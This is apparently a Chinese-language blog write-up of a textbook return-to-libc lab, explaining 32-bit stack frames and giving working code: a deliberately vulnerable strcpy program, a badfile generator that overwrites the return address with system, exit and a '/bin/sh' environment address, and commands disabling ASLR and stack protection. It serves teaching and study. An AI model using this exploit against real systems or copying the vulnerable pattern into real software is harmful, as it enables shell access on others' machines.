Return to Libc Attack
前言
来源:《Computer Security》A Hands-on Approach — Wenliang Du
r2libc技术是一种缓冲区溢出利用技术,主要用于克服常规缓冲区溢出漏洞利用技术中面临的no stack executable限制(所以后续实验还是需要关闭系统的ASLR,以及堆栈保护),比如PaX和ExecShield安全策略。该技术主要是通过覆盖栈帧中保存的函数返回地址(eip),让其定位到libc库中的某个库函数(如,system等),而不是直接定位到shellcode。然后通过在栈中精心构造该库函数的参数,以便达到类似于执行shellcode的目的。
上面这段话,来自乌云备份文章。
这章的背景要求:程序在内存中的布局 、gdb调试之栈帧信息 、缓冲区溢出攻击
文章目录
摘要和总结
在上一章中,我们利用缓冲区漏洞,将恶意代码shellcode附加在缓冲区的后面。通过覆盖返回地址,跳转到恶意代码,执行栈中的shellcode代码。但是,现在的操作系统已经作出防御,禁止栈中的数据作为代码执行。但是这个并没有关系,我们可以不在栈中执行程序,我们可以通过覆盖返回地址,执行已经在内存中存在的程序,比如说libc中的system函数。我们希望跳转之后,可以执行system("/bin/sh")。这个做法的难点是,在哪里放置"/bin/sh"的地址,作为system的参数。
这次实验环境如下(IA-32:Intel Architecture, 32-bit):
几个概念:x86、x86-64和IA-32、IA-64 --》我不太明白,我知道它是32位的。
Linux VM 4.8.0-36-generic #36~16.04.1-Ubuntu SMP Sun Feb 5 09:39:41 UTC 2017 i686 i686 i686 GNU/Linux
现在我们的环境,我不知道如何实现return-to-libc的攻击。因为参数的传递通过寄存器。这里介绍的参数传递还是通过压栈的方式。知识点有些陈旧。我们不妨,将它作为一次理解程序在内存中执行过程分析的体验。
虽然早已是64位,但是当年我还是学习王爽的那本汇编(16位),入门汇编语言,也是唯一一次学习汇编。
关于libc的概念可以参考:libc、glib、glibc简介
(ax --> eax —> rax)
函数的进入离开过程
详细的调试过程,可以看前言中的链接,“gdb调试之栈栈信息”。
这一章,在上一章的基础上,并没有难度。由于实在32位环境中实验,我们调试32位中的程序显示。
我这里稍微赘述下调用过程。Tips:没有给出调用着的准备工作。想看的自己调试。Not difficult.
/**
* 使用gdb调试该程序,展示内存布局
*/
#include <stdio.h>
void func(int a,int b){
int x,y;
x = a + b;
y = a - b;
}
int main(void){
int x=0;
int y=0;
func(4,3);
return 0;
}
函数,还是最简单的函数。
进入函数
我们可以看到它三步准备:
push ebp ;保存上一个栈栈
mov ebp,esp ;设置当前栈帧
sub esp,$N ;给local变量开辟部分内存
RA:指return address。
离开函数
leavel
ret
;在32位汇编下相当于
mov esp,ebp;
pop ebp
ret
Return to Libc Attack
我们需要做的是,用system的地址覆盖返回地址,在合适的位置填入“/bin/sh"字符串所在内存地址,这个合适的位置是system的参数地址。(这些地址具体位置,我们在下一节叙述,这里暂时默认为已知。我们先从方法上看如何实现。)
我们可以看到上面取出参数的位置是[ebp+8]。我当时站在ebp的角度来思考,结果半天没绕出来。
看了书后面的章节,从esp的角度来看,就相对而言比较容易了。
-
首先是离开函数,执行的是离开函数的操作。所以我们用system的函数地址覆盖return address = ebp+4。此时esp指向的位置如(b)图所示。
-
接着是进入一个函数,执行的是进入函数的操作。
- push ebp,所以函数地址被ebp的内容覆盖; esp+4;
- mov ebp,esp ,所以ebp的位置如图©所示;ebp+8是我们的参数位置,位置如圆圈1所示;这个位置等于原来的ebp + 12。
- 圆圈2在现在ebp+4位置,是system的返回地址,原来ebp+8的位置,可以用来设置exit。虽然我认为这个没什么用。
- sub esp,$N ;给local变量开辟部分内存
-
总结下缓冲区这些信息的覆盖位置
- system的函数地址覆盖return address = ebp+4
- 参数位置等于ebp + 12
- ebp+8的位置,可以用exit函数的内存位置填充,作为返回地址
具体操作
我们关闭地址随机化,栈保护,开启栈不可执行。
获取system、exit地址
这些内容在动态库中,会映射到当前的进程地址空间中。至于如何映射的,我不知道。
顺便我们再看看system是如何获取参数,或许和书上内容不一样。
我推测参数,通过[esp+4]取到,也就是我们的参数填充位置,所以可以正常运行。
这里并没有push ebp操作,在<do_system>中进行操作。比较长,我仅仅截图出部分。
获取参数地址
我们通过export MYSHELL="/bin/sh"
,给添加环境变量。这个变量会传递给子进程的环境变量中。
我们在子进程中查看这个变量的地址。注意的是,程序名长度会影响"/bin/sh"的位置。所以我们可以用攻击程序的程序名来获取下变量地址。
/**
* 查看环境变量的地址
* break main | run | x /100s *((char **)environ)
*/
#include <stdio.h>
#include <stdlib.h>
int main(void){
char *shell = getenv("MYSHELL");
if(shell){
printf("now env the char point size : %u\n",sizeof(char *));
printf("MYSHELL IS %s\n",shell);
//64位,不能用%x了
printf("The address of MYSHELL 0x%lx\n", (unsigned long int)shell);
}
return 0;
}
生成badfile
/**
* 用于生成buffer填充内容
* stack.c中的buffer为100 char
* bufer和缓冲区之间的距离:0x6c
* system的地址是: 0xb7da4da0 --> 0x6c+4
* exit的地址是: 0xb7d989d0 --> 0x6c+8
* MYSHELL的地址是:0xbffffdd8 --> 0x6c+12
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(void){
char buffer[200];
/*填充的内容没有\0就好,我这里填充nop,虽然不执行*/
memset(buffer,0x90,sizeof(buffer));
*(long *)(buffer+0x6c+4) = 0xb7da4da0;
*(long *)(buffer+0x6c+8) = 0xb7d989d0;
*(long *)(buffer+0x6c+12) = 0xbffffdd8;
FILE *badfile = fopen("badfile","w");
if(!badfile){
printf("cannt open badfile");
exit(0);
}
fwrite(buffer,sizeof(char),sizeof(buffer),badfile);
fclose(badfile);
return 0;
}
执行Return to Libc Attack
/**
* 用来演示缓冲区溢出攻击,return-to-libc:stack.c
* 我们关闭地址随机化,栈保护,开启栈不可执行
* sudo sysctl -w kernel.randomize_va_space=0
* gcc -g -fno-stack-protector -z noexecstack -o stack stack.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void func(char *src){
char buffer[100]={0};
strcpy(buffer,src);
}
int main(void){
char src[400]={0};
FILE *badfile = fopen("badfile","r");
if (!badfile){
printf("no open badfile");
return 0;
}
fread(src,sizeof(char),300,badfile);
func(src);
printf("return properly\n");
return 0;
}
执行成功如下所示:
参考文章
视频地址:https://www.bilibili.com/bangumi/play/ss28973?t=3525
下一篇: JVM参数调优(内存溢出解决办法)
推荐阅读
-
Python中exit、return、sys.exit()等使用实例和区别
-
解析:php调用MsSQL存储过程使用内置RETVAL获取过程中的return值
-
Python中return self的用法详解
-
PHP return语句另类用法不止是在函数中
-
C/C++ return *this和return this的区别
-
提示"libc.so.6: version `GLIBC_2.14' not found"
-
C++程序报错new types may not be defined in a return type?
-
PHP中return 和 exit 、break和contiue 区别与用法
-
浅析node应用的timing-attack安全漏洞
-
使用angularjs.foreach时return的问题解决